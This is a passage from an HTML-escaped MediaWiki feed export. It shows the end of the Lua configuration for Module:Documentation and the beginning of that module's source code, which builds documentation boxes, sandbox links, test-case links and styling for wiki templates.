-- If the test cases page doesn&#039;t exist, the link for cfg[&#039;testcases-create-link-display&#039;] preloads the&lt;br /&gt;
-- page with cfg[&#039;template-testcases-preload&#039;] or cfg[&#039;module-testcases-preload&#039;], depending on the current&lt;br /&gt;
-- namespace.&lt;br /&gt;
--]]&lt;br /&gt;
cfg[&#039;experiment-blurb-template&#039;] = &amp;quot;Editors can experiment in this template&#039;s $1 and $2 pages.&amp;quot;&lt;br /&gt;
cfg[&#039;experiment-blurb-module&#039;] = &amp;quot;Editors can experiment in this module&#039;s $1 and $2 pages.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
----------------------------------------------------------------------------------------------------&lt;br /&gt;
-- Sandbox link configuration&lt;br /&gt;
----------------------------------------------------------------------------------------------------&lt;br /&gt;
&lt;br /&gt;
-- cfg[&#039;sandbox-subpage&#039;]&lt;br /&gt;
-- The name of the template subpage typically used for sandboxes.&lt;br /&gt;
cfg[&#039;sandbox-subpage&#039;] = &#039;sandbox&#039;&lt;br /&gt;
&lt;br /&gt;
-- cfg[&#039;template-sandbox-preload&#039;]&lt;br /&gt;
-- Preload file for template sandbox pages.&lt;br /&gt;
cfg[&#039;template-sandbox-preload&#039;] = &#039;Template:Documentation/preload-sandbox&#039;&lt;br /&gt;
&lt;br /&gt;
-- cfg[&#039;module-sandbox-preload&#039;]&lt;br /&gt;
-- Preload file for Lua module sandbox pages.&lt;br /&gt;
cfg[&#039;module-sandbox-preload&#039;] = &#039;Template:Documentation/preload-module-sandbox&#039;&lt;br /&gt;
&lt;br /&gt;
-- cfg[&#039;sandbox-link-display&#039;]&lt;br /&gt;
-- The text to display for &amp;quot;sandbox&amp;quot; links.&lt;br /&gt;
cfg[&#039;sandbox-link-display&#039;] = &#039;sandbox&#039;&lt;br /&gt;
&lt;br /&gt;
-- cfg[&#039;sandbox-edit-link-display&#039;]&lt;br /&gt;
-- The text to display for sandbox &amp;quot;edit&amp;quot; links.&lt;br /&gt;
cfg[&#039;sandbox-edit-link-display&#039;] = &#039;edit&#039;&lt;br /&gt;
&lt;br /&gt;
-- cfg[&#039;sandbox-create-link-display&#039;]&lt;br /&gt;
-- The text to display for sandbox &amp;quot;create&amp;quot; links.&lt;br /&gt;
cfg[&#039;sandbox-create-link-display&#039;] = &#039;create&#039;&lt;br /&gt;
&lt;br /&gt;
-- cfg[&#039;compare-link-display&#039;]&lt;br /&gt;
-- The text to display for &amp;quot;compare&amp;quot; links.&lt;br /&gt;
cfg[&#039;compare-link-display&#039;] = &#039;diff&#039;&lt;br /&gt;
&lt;br /&gt;
-- cfg[&#039;mirror-edit-summary&#039;]&lt;br /&gt;
-- The default edit summary to use when a user clicks the &amp;quot;mirror&amp;quot; link. $1 is a wikilink to the&lt;br /&gt;
-- template page.&lt;br /&gt;
cfg[&#039;mirror-edit-summary&#039;] = &#039;Create sandbox version of $1&#039;&lt;br /&gt;
&lt;br /&gt;
-- cfg[&#039;mirror-link-display&#039;]&lt;br /&gt;
-- The text to display for &amp;quot;mirror&amp;quot; links.&lt;br /&gt;
cfg[&#039;mirror-link-display&#039;] = &#039;mirror&#039;&lt;br /&gt;
&lt;br /&gt;
-- cfg[&#039;mirror-link-preload&#039;]&lt;br /&gt;
-- The page to preload when a user clicks the &amp;quot;mirror&amp;quot; link.&lt;br /&gt;
cfg[&#039;mirror-link-preload&#039;] = &#039;Template:Documentation/mirror&#039;&lt;br /&gt;
&lt;br /&gt;
----------------------------------------------------------------------------------------------------&lt;br /&gt;
-- Test cases link configuration&lt;br /&gt;
----------------------------------------------------------------------------------------------------&lt;br /&gt;
&lt;br /&gt;
-- cfg[&#039;testcases-subpage&#039;]&lt;br /&gt;
-- The name of the template subpage typically used for test cases.&lt;br /&gt;
cfg[&#039;testcases-subpage&#039;] = &#039;testcases&#039;&lt;br /&gt;
&lt;br /&gt;
-- cfg[&#039;template-testcases-preload&#039;]&lt;br /&gt;
-- Preload file for template test cases pages.&lt;br /&gt;
cfg[&#039;template-testcases-preload&#039;] = &#039;Template:Documentation/preload-testcases&#039;&lt;br /&gt;
&lt;br /&gt;
-- cfg[&#039;module-testcases-preload&#039;]&lt;br /&gt;
-- Preload file for Lua module test cases pages.&lt;br /&gt;
cfg[&#039;module-testcases-preload&#039;] = &#039;Template:Documentation/preload-module-testcases&#039;&lt;br /&gt;
&lt;br /&gt;
-- cfg[&#039;testcases-link-display&#039;]&lt;br /&gt;
-- The text to display for &amp;quot;testcases&amp;quot; links.&lt;br /&gt;
cfg[&#039;testcases-link-display&#039;] = &#039;testcases&#039;&lt;br /&gt;
&lt;br /&gt;
-- cfg[&#039;testcases-edit-link-display&#039;]&lt;br /&gt;
-- The text to display for test cases &amp;quot;edit&amp;quot; links.&lt;br /&gt;
cfg[&#039;testcases-edit-link-display&#039;] = &#039;edit&#039;&lt;br /&gt;
&lt;br /&gt;
-- cfg[&#039;testcases-run-link-display&#039;]&lt;br /&gt;
-- The text to display for test cases &amp;quot;run&amp;quot; links.&lt;br /&gt;
cfg[&#039;testcases-run-link-display&#039;] = &#039;run&#039;&lt;br /&gt;
&lt;br /&gt;
-- cfg[&#039;testcases-create-link-display&#039;]&lt;br /&gt;
-- The text to display for test cases &amp;quot;create&amp;quot; links.&lt;br /&gt;
cfg[&#039;testcases-create-link-display&#039;] = &#039;create&#039;&lt;br /&gt;
&lt;br /&gt;
----------------------------------------------------------------------------------------------------&lt;br /&gt;
-- Add categories blurb configuration&lt;br /&gt;
----------------------------------------------------------------------------------------------------&lt;br /&gt;
&lt;br /&gt;
--[[&lt;br /&gt;
-- cfg[&#039;add-categories-blurb&#039;]&lt;br /&gt;
-- Text to direct users to add categories to the /doc subpage. Not used if the &amp;quot;content&amp;quot; or&lt;br /&gt;
-- &amp;quot;docname fed&amp;quot; arguments are set, as then it is not clear where to add the categories. $1 is a&lt;br /&gt;
-- link to the /doc subpage with a display value of cfg[&#039;doc-link-display&#039;].&lt;br /&gt;
--]]&lt;br /&gt;
cfg[&#039;add-categories-blurb&#039;] = &#039;Add categories to the $1 subpage.&#039;&lt;br /&gt;
&lt;br /&gt;
-- cfg[&#039;doc-link-display&#039;]&lt;br /&gt;
-- The text to display when linking to the /doc subpage.&lt;br /&gt;
cfg[&#039;doc-link-display&#039;] = &#039;/doc&#039;&lt;br /&gt;
&lt;br /&gt;
----------------------------------------------------------------------------------------------------&lt;br /&gt;
-- Subpages link configuration&lt;br /&gt;
----------------------------------------------------------------------------------------------------&lt;br /&gt;
&lt;br /&gt;
--[[&lt;br /&gt;
-- cfg[&#039;subpages-blurb&#039;]&lt;br /&gt;
-- The &amp;quot;Subpages of this template&amp;quot; blurb. $1 is a link to the main template&#039;s subpages with a&lt;br /&gt;
-- display value of cfg[&#039;subpages-link-display&#039;]. In the English version this blurb is simply&lt;br /&gt;
-- the link followed by a period, and the link display provides the actual text.&lt;br /&gt;
--]]&lt;br /&gt;
cfg[&#039;subpages-blurb&#039;] = &#039;$1.&#039;&lt;br /&gt;
&lt;br /&gt;
--[[&lt;br /&gt;
-- cfg[&#039;subpages-link-display&#039;]&lt;br /&gt;
-- The text to display for the &amp;quot;subpages of this page&amp;quot; link. $1 is cfg[&#039;template-pagetype&#039;],&lt;br /&gt;
-- cfg[&#039;module-pagetype&#039;] or cfg[&#039;default-pagetype&#039;], depending on whether the current page is in&lt;br /&gt;
-- the template namespace, the module namespace, or another namespace.&lt;br /&gt;
--]]&lt;br /&gt;
cfg[&#039;subpages-link-display&#039;] = &#039;Subpages of this $1&#039;&lt;br /&gt;
&lt;br /&gt;
-- cfg[&#039;template-pagetype&#039;]&lt;br /&gt;
-- The pagetype to display for template pages.&lt;br /&gt;
cfg[&#039;template-pagetype&#039;] = &#039;template&#039;&lt;br /&gt;
&lt;br /&gt;
-- cfg[&#039;module-pagetype&#039;]&lt;br /&gt;
-- The pagetype to display for Lua module pages.&lt;br /&gt;
cfg[&#039;module-pagetype&#039;] = &#039;module&#039;&lt;br /&gt;
&lt;br /&gt;
-- cfg[&#039;default-pagetype&#039;]&lt;br /&gt;
-- The pagetype to display for pages other than templates or Lua modules.&lt;br /&gt;
cfg[&#039;default-pagetype&#039;] = &#039;page&#039;&lt;br /&gt;
&lt;br /&gt;
----------------------------------------------------------------------------------------------------&lt;br /&gt;
-- Doc link configuration&lt;br /&gt;
----------------------------------------------------------------------------------------------------&lt;br /&gt;
&lt;br /&gt;
-- cfg[&#039;doc-subpage&#039;]&lt;br /&gt;
-- The name of the subpage typically used for documentation pages.&lt;br /&gt;
cfg[&#039;doc-subpage&#039;] = &#039;doc&#039;&lt;br /&gt;
&lt;br /&gt;
-- cfg[&#039;docpage-preload&#039;]&lt;br /&gt;
-- Preload file for template documentation pages in all namespaces.&lt;br /&gt;
cfg[&#039;docpage-preload&#039;] = &#039;Template:Documentation/preload&#039;&lt;br /&gt;
&lt;br /&gt;
-- cfg[&#039;module-preload&#039;]&lt;br /&gt;
-- Preload file for Lua module documentation pages.&lt;br /&gt;
cfg[&#039;module-preload&#039;] = &#039;Template:Documentation/preload-module-doc&#039;&lt;br /&gt;
&lt;br /&gt;
----------------------------------------------------------------------------------------------------&lt;br /&gt;
-- HTML and CSS configuration&lt;br /&gt;
----------------------------------------------------------------------------------------------------&lt;br /&gt;
&lt;br /&gt;
-- cfg[&#039;templatestyles&#039;]&lt;br /&gt;
-- The name of the TemplateStyles page where CSS is kept.&lt;br /&gt;
-- Sandbox CSS will be at Module:Documentation/sandbox/styles.css when needed.&lt;br /&gt;
cfg[&#039;templatestyles&#039;] = &#039;Module:Documentation/styles.css&#039;&lt;br /&gt;
&lt;br /&gt;
-- cfg[&#039;container&#039;]&lt;br /&gt;
-- Class which can be used to set flex or grid CSS on the&lt;br /&gt;
-- two child divs documentation and documentation-metadata&lt;br /&gt;
cfg[&#039;container&#039;] = &#039;documentation-container&#039;&lt;br /&gt;
&lt;br /&gt;
-- cfg[&#039;main-div-classes&#039;]&lt;br /&gt;
-- Classes added to the main HTML &amp;quot;div&amp;quot; tag.&lt;br /&gt;
cfg[&#039;main-div-classes&#039;] = &#039;documentation&#039;&lt;br /&gt;
&lt;br /&gt;
-- cfg[&#039;main-div-heading-class&#039;]&lt;br /&gt;
-- Class for the main heading for templates and modules and assoc. talk spaces&lt;br /&gt;
cfg[&#039;main-div-heading-class&#039;] = &#039;documentation-heading&#039;&lt;br /&gt;
&lt;br /&gt;
-- cfg[&#039;start-box-class&#039;]&lt;br /&gt;
-- Class for the start box&lt;br /&gt;
cfg[&#039;start-box-class&#039;] = &#039;documentation-startbox&#039;&lt;br /&gt;
&lt;br /&gt;
-- cfg[&#039;start-box-link-classes&#039;]&lt;br /&gt;
-- Classes used for the [view][edit][history] or [create] links in the start box.&lt;br /&gt;
-- mw-editsection-like is per [[Wikipedia:Village pump (technical)/Archive 117]]&lt;br /&gt;
cfg[&#039;start-box-link-classes&#039;] = &#039;mw-editsection-like plainlinks&#039;&lt;br /&gt;
&lt;br /&gt;
-- cfg[&#039;end-box-class&#039;]&lt;br /&gt;
-- Class for the end box.&lt;br /&gt;
cfg[&#039;end-box-class&#039;] = &#039;documentation-metadata&#039;&lt;br /&gt;
&lt;br /&gt;
-- cfg[&#039;end-box-plainlinks&#039;]&lt;br /&gt;
-- Plainlinks&lt;br /&gt;
cfg[&#039;end-box-plainlinks&#039;] = &#039;plainlinks&#039;&lt;br /&gt;
&lt;br /&gt;
-- cfg[&#039;toolbar-class&#039;]&lt;br /&gt;
-- Class added for toolbar links.&lt;br /&gt;
cfg[&#039;toolbar-class&#039;] = &#039;documentation-toolbar&#039;&lt;br /&gt;
&lt;br /&gt;
-- cfg[&#039;clear&#039;]&lt;br /&gt;
-- Just used to clear things.&lt;br /&gt;
cfg[&#039;clear&#039;] = &#039;documentation-clear&#039;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
----------------------------------------------------------------------------------------------------&lt;br /&gt;
-- Tracking category configuration&lt;br /&gt;
----------------------------------------------------------------------------------------------------&lt;br /&gt;
&lt;br /&gt;
-- cfg[&#039;display-strange-usage-category&#039;]&lt;br /&gt;
-- Set to true to enable output of cfg[&#039;strange-usage-category&#039;] if the module is used on a /doc subpage&lt;br /&gt;
-- or a /testcases subpage. This should be a boolean value (either true or false).&lt;br /&gt;
cfg[&#039;display-strange-usage-category&#039;] = true&lt;br /&gt;
&lt;br /&gt;
-- cfg[&#039;strange-usage-category&#039;]&lt;br /&gt;
-- Category to output if cfg[&#039;display-strange-usage-category&#039;] is set to true and the module is used on a&lt;br /&gt;
-- /doc subpage or a /testcases subpage.&lt;br /&gt;
cfg[&#039;strange-usage-category&#039;] = &#039;Wikipedia pages with strange ((documentation)) usage&#039;&lt;br /&gt;
&lt;br /&gt;
--[[&lt;br /&gt;
----------------------------------------------------------------------------------------------------&lt;br /&gt;
-- End configuration&lt;br /&gt;
--&lt;br /&gt;
-- Don&#039;t edit anything below this line.&lt;br /&gt;
----------------------------------------------------------------------------------------------------&lt;br /&gt;
--]]&lt;br /&gt;
&lt;br /&gt;
return cfg&lt;/div&gt;</summary>
		<author><name>Justus</name></author>
	</entry>
	<entry>
		<id>https://www.justus.pw/mediawiki/index.php?title=Module:Documentation&amp;diff=60</id>
		<title>Module:Documentation</title>
		<link rel="alternate" type="text/html" href="https://www.justus.pw/mediawiki/index.php?title=Module:Documentation&amp;diff=60"/>
		<updated>2026-01-05T07:39:57Z</updated>

		<summary type="html">&lt;p&gt;Justus: 1 revision imported&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;-- This module implements {{documentation}}.&lt;br /&gt;
&lt;br /&gt;
-- Get required modules.&lt;br /&gt;
local getArgs = require(&#039;Module:Arguments&#039;).getArgs&lt;br /&gt;
&lt;br /&gt;
-- Get the config table.&lt;br /&gt;
local cfg = mw.loadData(&#039;Module:Documentation/config&#039;)&lt;br /&gt;
&lt;br /&gt;
local p = {}&lt;br /&gt;
&lt;br /&gt;
-- Often-used functions.&lt;br /&gt;
local ugsub = mw.ustring.gsub&lt;br /&gt;
local format = mw.ustring.format&lt;br /&gt;
&lt;br /&gt;
----------------------------------------------------------------------------&lt;br /&gt;
-- Helper functions&lt;br /&gt;
--&lt;br /&gt;
-- These are defined as local functions, but are made available in the p&lt;br /&gt;
-- table for testing purposes.&lt;br /&gt;
----------------------------------------------------------------------------&lt;br /&gt;
&lt;br /&gt;
local function message(cfgKey, valArray, expectType)&lt;br /&gt;
	--[[&lt;br /&gt;
	-- Gets a message from the cfg table and formats it if appropriate.&lt;br /&gt;
	-- The function raises an error if the value from the cfg table is not&lt;br /&gt;
	-- of the type expectType. The default type for expectType is &#039;string&#039;.&lt;br /&gt;
	-- If the table valArray is present, strings such as $1, $2 etc. in the&lt;br /&gt;
	-- message are substituted with values from the table keys [1], [2] etc.&lt;br /&gt;
	-- For example, if the message &amp;quot;foo-message&amp;quot; had the value &#039;Foo $2 bar $1.&#039;,&lt;br /&gt;
	-- message(&#039;foo-message&#039;, {&#039;baz&#039;, &#039;qux&#039;}) would return &amp;quot;Foo qux bar baz.&amp;quot;&lt;br /&gt;
	--]]&lt;br /&gt;
	local msg = cfg[cfgKey]&lt;br /&gt;
	expectType = expectType or &#039;string&#039;&lt;br /&gt;
	if type(msg) ~= expectType then&lt;br /&gt;
		error(&#039;message: type error in message cfg.&#039; .. cfgKey .. &#039; (&#039; .. expectType .. &#039; expected, got &#039; .. type(msg) .. &#039;)&#039;, 2)&lt;br /&gt;
	end&lt;br /&gt;
	if not valArray then&lt;br /&gt;
		return msg&lt;br /&gt;
	end&lt;br /&gt;
&lt;br /&gt;
	local function getMessageVal(match)&lt;br /&gt;
		match = tonumber(match)&lt;br /&gt;
		return valArray[match] or error(&#039;message: no value found for key $&#039; .. match .. &#039; in message cfg.&#039; .. cfgKey, 4)&lt;br /&gt;
	end&lt;br /&gt;
&lt;br /&gt;
	return ugsub(msg, &#039;$([1-9][0-9]*)&#039;, getMessageVal)&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
p.message = message&lt;br /&gt;
&lt;br /&gt;
local function makeWikilink(page, display)&lt;br /&gt;
	if display then&lt;br /&gt;
		return format(&#039;[[%s|%s]]&#039;, page, display)&lt;br /&gt;
	else&lt;br /&gt;
		return format(&#039;[[%s]]&#039;, page)&lt;br /&gt;
	end&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
p.makeWikilink = makeWikilink&lt;br /&gt;
&lt;br /&gt;
local function makeCategoryLink(cat, sort)&lt;br /&gt;
	local catns = mw.site.namespaces[14].name&lt;br /&gt;
	return makeWikilink(catns .. &#039;:&#039; .. cat, sort)&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
p.makeCategoryLink = makeCategoryLink&lt;br /&gt;
&lt;br /&gt;
local function makeUrlLink(url, display)&lt;br /&gt;
	return format(&#039;[%s %s]&#039;, url, display)&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
p.makeUrlLink = makeUrlLink&lt;br /&gt;
&lt;br /&gt;
local function makeToolbar(...)&lt;br /&gt;
	local ret = {}&lt;br /&gt;
	local lim = select(&#039;#&#039;, ...)&lt;br /&gt;
	if lim &amp;lt; 1 then&lt;br /&gt;
		return nil&lt;br /&gt;
	end&lt;br /&gt;
	for i = 1, lim do&lt;br /&gt;
		ret[#ret + 1] = select(i, ...)&lt;br /&gt;
	end&lt;br /&gt;
	-- &#039;documentation-toolbar&#039;&lt;br /&gt;
	return format(&lt;br /&gt;
		&#039;&amp;lt;span class=&amp;quot;%s&amp;quot;&amp;gt;(%s)&amp;lt;/span&amp;gt;&#039;,&lt;br /&gt;
		message(&#039;toolbar-class&#039;),&lt;br /&gt;
		table.concat(ret, &#039; &amp;amp;#124; &#039;)&lt;br /&gt;
	)&lt;br /&gt;
end	&lt;br /&gt;
&lt;br /&gt;
p.makeToolbar = makeToolbar&lt;br /&gt;
&lt;br /&gt;
----------------------------------------------------------------------------&lt;br /&gt;
-- Argument processing&lt;br /&gt;
----------------------------------------------------------------------------&lt;br /&gt;
&lt;br /&gt;
local function makeInvokeFunc(funcName)&lt;br /&gt;
	return function (frame)&lt;br /&gt;
		local args = getArgs(frame, {&lt;br /&gt;
			valueFunc = function (key, value)&lt;br /&gt;
				if type(value) == &#039;string&#039; then&lt;br /&gt;
					value = value:match(&#039;^%s*(.-)%s*$&#039;) -- Remove whitespace.&lt;br /&gt;
					if key == &#039;heading&#039; or value ~= &#039;&#039; then&lt;br /&gt;
						return value&lt;br /&gt;
					else&lt;br /&gt;
						return nil&lt;br /&gt;
					end&lt;br /&gt;
				else&lt;br /&gt;
					return value&lt;br /&gt;
				end&lt;br /&gt;
			end&lt;br /&gt;
		})&lt;br /&gt;
		return p[funcName](args)&lt;br /&gt;
	end&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
----------------------------------------------------------------------------&lt;br /&gt;
-- Entry points&lt;br /&gt;
----------------------------------------------------------------------------&lt;br /&gt;
&lt;br /&gt;
function p.nonexistent(frame)&lt;br /&gt;
	if mw.title.getCurrentTitle().subpageText == &#039;testcases&#039; then&lt;br /&gt;
		return frame:expandTemplate{title = &#039;module test cases notice&#039;}&lt;br /&gt;
	else&lt;br /&gt;
		return p.main(frame)&lt;br /&gt;
	end&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
p.main = makeInvokeFunc(&#039;_main&#039;)&lt;br /&gt;
&lt;br /&gt;
function p._main(args)&lt;br /&gt;
	--[[&lt;br /&gt;
	-- This function defines logic flow for the module.&lt;br /&gt;
	-- @args - table of arguments passed by the user&lt;br /&gt;
	--]]&lt;br /&gt;
	local env = p.getEnvironment(args)&lt;br /&gt;
	local root = mw.html.create()&lt;br /&gt;
	root&lt;br /&gt;
		:wikitext(p._getModuleWikitext(args, env))&lt;br /&gt;
		:wikitext(p.protectionTemplate(env))&lt;br /&gt;
		:wikitext(p.sandboxNotice(args, env))&lt;br /&gt;
		:tag(&#039;div&#039;)&lt;br /&gt;
			-- &#039;documentation-container&#039;&lt;br /&gt;
			:addClass(message(&#039;container&#039;))&lt;br /&gt;
			:attr(&#039;role&#039;, &#039;complementary&#039;)&lt;br /&gt;
			:attr(&#039;aria-labelledby&#039;, args.heading ~= &#039;&#039; and &#039;documentation-heading&#039; or nil)&lt;br /&gt;
			:attr(&#039;aria-label&#039;, args.heading == &#039;&#039; and &#039;Documentation&#039; or nil)&lt;br /&gt;
			:newline()&lt;br /&gt;
			:tag(&#039;div&#039;)&lt;br /&gt;
				-- &#039;documentation&#039;&lt;br /&gt;
				:addClass(message(&#039;main-div-classes&#039;))&lt;br /&gt;
				:newline()&lt;br /&gt;
				:wikitext(p._startBox(args, env))&lt;br /&gt;
				:wikitext(p._content(args, env))&lt;br /&gt;
				:tag(&#039;div&#039;)&lt;br /&gt;
					-- &#039;documentation-clear&#039;&lt;br /&gt;
					:addClass(message(&#039;clear&#039;))&lt;br /&gt;
					:done()&lt;br /&gt;
				:newline()&lt;br /&gt;
				:done()&lt;br /&gt;
			:wikitext(p._endBox(args, env))&lt;br /&gt;
			:done()&lt;br /&gt;
		:wikitext(p.addTrackingCategories(env))&lt;br /&gt;
	-- &#039;Module:Documentation/styles.css&#039;&lt;br /&gt;
	return mw.getCurrentFrame():extensionTag (&lt;br /&gt;
		&#039;templatestyles&#039;, &#039;&#039;, {src=cfg[&#039;templatestyles&#039;]&lt;br /&gt;
	}) .. tostring(root)&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
----------------------------------------------------------------------------&lt;br /&gt;
-- Environment settings&lt;br /&gt;
----------------------------------------------------------------------------&lt;br /&gt;
&lt;br /&gt;
function p.getEnvironment(args)&lt;br /&gt;
	--[[&lt;br /&gt;
	-- Returns a table with information about the environment, including title&lt;br /&gt;
	-- objects and other namespace- or path-related data.&lt;br /&gt;
	-- @args - table of arguments passed by the user&lt;br /&gt;
	--&lt;br /&gt;
	-- Title objects include:&lt;br /&gt;
	-- env.title - the page we are making documentation for (usually the current title)&lt;br /&gt;
	-- env.templateTitle - the template (or module, file, etc.)&lt;br /&gt;
	-- env.docTitle - the /doc subpage.&lt;br /&gt;
	-- env.sandboxTitle - the /sandbox subpage.&lt;br /&gt;
	-- env.testcasesTitle - the /testcases subpage.&lt;br /&gt;
	--&lt;br /&gt;
	-- Data includes:&lt;br /&gt;
	-- env.protectionLevels - the protection levels table of the title object.&lt;br /&gt;
	-- env.subjectSpace - the number of the title&#039;s subject namespace.&lt;br /&gt;
	-- env.docSpace - the number of the namespace the title puts its documentation in.&lt;br /&gt;
	-- env.docpageBase - the text of the base page of the /doc, /sandbox and /testcases pages, with namespace.&lt;br /&gt;
	-- env.compareUrl - URL of the Special:ComparePages page comparing the sandbox with the template.&lt;br /&gt;
	-- &lt;br /&gt;
	-- All table lookups are passed through pcall so that errors are caught. If an error occurs, the value&lt;br /&gt;
	-- returned will be nil.&lt;br /&gt;
	--]]&lt;br /&gt;
	&lt;br /&gt;
	local env, envFuncs = {}, {}&lt;br /&gt;
&lt;br /&gt;
	-- Set up the metatable. If triggered we call the corresponding function in the envFuncs table. The value&lt;br /&gt;
	-- returned by that function is memoized in the env table so that we don&#039;t call any of the functions&lt;br /&gt;
	-- more than once. (Nils won&#039;t be memoized.)&lt;br /&gt;
	setmetatable(env, {&lt;br /&gt;
		__index = function (t, key)&lt;br /&gt;
			local envFunc = envFuncs[key]&lt;br /&gt;
			if envFunc then&lt;br /&gt;
				local success, val = pcall(envFunc)&lt;br /&gt;
				if success then&lt;br /&gt;
					env[key] = val -- Memoise the value.&lt;br /&gt;
					return val&lt;br /&gt;
				end&lt;br /&gt;
			end&lt;br /&gt;
			return nil&lt;br /&gt;
		end&lt;br /&gt;
	})	&lt;br /&gt;
&lt;br /&gt;
	function envFuncs.title()&lt;br /&gt;
		-- The title object for the current page, or a test page passed with args.page.&lt;br /&gt;
		local title&lt;br /&gt;
		local titleArg = args.page&lt;br /&gt;
		if titleArg then&lt;br /&gt;
			title = mw.title.new(titleArg)&lt;br /&gt;
		else&lt;br /&gt;
			title = mw.title.getCurrentTitle()&lt;br /&gt;
		end&lt;br /&gt;
		return title&lt;br /&gt;
	end&lt;br /&gt;
&lt;br /&gt;
	function envFuncs.templateTitle()&lt;br /&gt;
		--[[&lt;br /&gt;
		-- The template (or module, etc.) title object.&lt;br /&gt;
		-- Messages:&lt;br /&gt;
		-- &#039;sandbox-subpage&#039; --&amp;gt; &#039;sandbox&#039;&lt;br /&gt;
		-- &#039;testcases-subpage&#039; --&amp;gt; &#039;testcases&#039;&lt;br /&gt;
		--]]&lt;br /&gt;
		local subjectSpace = env.subjectSpace&lt;br /&gt;
		local title = env.title&lt;br /&gt;
		local subpage = title.subpageText&lt;br /&gt;
		if subpage == message(&#039;sandbox-subpage&#039;) or subpage == message(&#039;testcases-subpage&#039;) or (subpage == message(&#039;doc-subpage&#039;) and mw.title.getCurrentTitle().namespace == env.docSpace) then&lt;br /&gt;
			return mw.title.makeTitle(subjectSpace, title.baseText)&lt;br /&gt;
		else&lt;br /&gt;
			return mw.title.makeTitle(subjectSpace, title.text)&lt;br /&gt;
		end&lt;br /&gt;
	end&lt;br /&gt;
&lt;br /&gt;
	function envFuncs.docTitle()&lt;br /&gt;
		--[[&lt;br /&gt;
		-- Title object of the /doc subpage.&lt;br /&gt;
		-- Messages:&lt;br /&gt;
		-- &#039;doc-subpage&#039; --&amp;gt; &#039;doc&#039;&lt;br /&gt;
		--]]&lt;br /&gt;
		local title = env.title&lt;br /&gt;
		local docname = args[1] -- User-specified doc page.&lt;br /&gt;
		local docpage&lt;br /&gt;
		if docname then&lt;br /&gt;
			docpage = docname&lt;br /&gt;
		else&lt;br /&gt;
			docpage = env.docpageBase .. &#039;/&#039; .. message(&#039;doc-subpage&#039;)&lt;br /&gt;
		end&lt;br /&gt;
		return mw.title.new(docpage)&lt;br /&gt;
	end&lt;br /&gt;
	&lt;br /&gt;
	function envFuncs.sandboxTitle()&lt;br /&gt;
		--[[&lt;br /&gt;
		-- Title object for the /sandbox subpage.&lt;br /&gt;
		-- Messages:&lt;br /&gt;
		-- &#039;sandbox-subpage&#039; --&amp;gt; &#039;sandbox&#039;&lt;br /&gt;
		--]]&lt;br /&gt;
		return mw.title.new(env.docpageBase .. &#039;/&#039; .. message(&#039;sandbox-subpage&#039;))&lt;br /&gt;
	end&lt;br /&gt;
	&lt;br /&gt;
	function envFuncs.testcasesTitle()&lt;br /&gt;
		--[[&lt;br /&gt;
		-- Title object for the /testcases subpage.&lt;br /&gt;
		-- Messages:&lt;br /&gt;
		-- &#039;testcases-subpage&#039; --&amp;gt; &#039;testcases&#039;&lt;br /&gt;
		--]]&lt;br /&gt;
		return mw.title.new(env.docpageBase .. &#039;/&#039; .. message(&#039;testcases-subpage&#039;))&lt;br /&gt;
	end&lt;br /&gt;
&lt;br /&gt;
	function envFuncs.protectionLevels()&lt;br /&gt;
		-- The protection levels table of the title object.&lt;br /&gt;
		return env.title.protectionLevels&lt;br /&gt;
	end&lt;br /&gt;
&lt;br /&gt;
	function envFuncs.subjectSpace()&lt;br /&gt;
		-- The subject namespace number.&lt;br /&gt;
		return mw.site.namespaces[env.title.namespace].subject.id&lt;br /&gt;
	end&lt;br /&gt;
&lt;br /&gt;
	function envFuncs.docSpace()&lt;br /&gt;
		-- The documentation namespace number. For most namespaces this is the&lt;br /&gt;
		-- same as the subject namespace. However, pages in the Article, File,&lt;br /&gt;
		-- MediaWiki or Category namespaces must have their /doc, /sandbox and&lt;br /&gt;
		-- /testcases pages in talk space.&lt;br /&gt;
		local subjectSpace = env.subjectSpace&lt;br /&gt;
		if subjectSpace == 0 or subjectSpace == 6 or subjectSpace == 8 or subjectSpace == 14 then&lt;br /&gt;
			return subjectSpace + 1&lt;br /&gt;
		else&lt;br /&gt;
			return subjectSpace&lt;br /&gt;
		end&lt;br /&gt;
	end&lt;br /&gt;
&lt;br /&gt;
	function envFuncs.docpageBase()&lt;br /&gt;
		-- The base page of the /doc, /sandbox, and /testcases subpages.&lt;br /&gt;
		-- For some namespaces this is the talk page, rather than the template page.&lt;br /&gt;
		local templateTitle = env.templateTitle&lt;br /&gt;
		local docSpace = env.docSpace&lt;br /&gt;
		local docSpaceText = mw.site.namespaces[docSpace].name&lt;br /&gt;
		-- Assemble the link. docSpace is never the main namespace, so we can hardcode the colon.&lt;br /&gt;
		return docSpaceText .. &#039;:&#039; .. templateTitle.text&lt;br /&gt;
	end&lt;br /&gt;
	&lt;br /&gt;
	function envFuncs.compareUrl()&lt;br /&gt;
		-- Diff link between the sandbox and the main template using [[Special:ComparePages]].&lt;br /&gt;
		local templateTitle = env.templateTitle&lt;br /&gt;
		local sandboxTitle = env.sandboxTitle&lt;br /&gt;
		if templateTitle.exists and sandboxTitle.exists then&lt;br /&gt;
			local compareUrl = mw.uri.canonicalUrl(&lt;br /&gt;
				&#039;Special:ComparePages&#039;,&lt;br /&gt;
				{ page1 = templateTitle.prefixedText, page2 = sandboxTitle.prefixedText}&lt;br /&gt;
			)&lt;br /&gt;
			return tostring(compareUrl)&lt;br /&gt;
		else&lt;br /&gt;
			return nil&lt;br /&gt;
		end&lt;br /&gt;
	end		&lt;br /&gt;
&lt;br /&gt;
	return env&lt;br /&gt;
end	&lt;br /&gt;
&lt;br /&gt;
----------------------------------------------------------------------------&lt;br /&gt;
-- Auxiliary templates&lt;br /&gt;
----------------------------------------------------------------------------&lt;br /&gt;
&lt;br /&gt;
p.getModuleWikitext = makeInvokeFunc(&#039;_getModuleWikitext&#039;)&lt;br /&gt;
&lt;br /&gt;
function p._getModuleWikitext(args, env)&lt;br /&gt;
	local currentTitle = mw.title.getCurrentTitle()&lt;br /&gt;
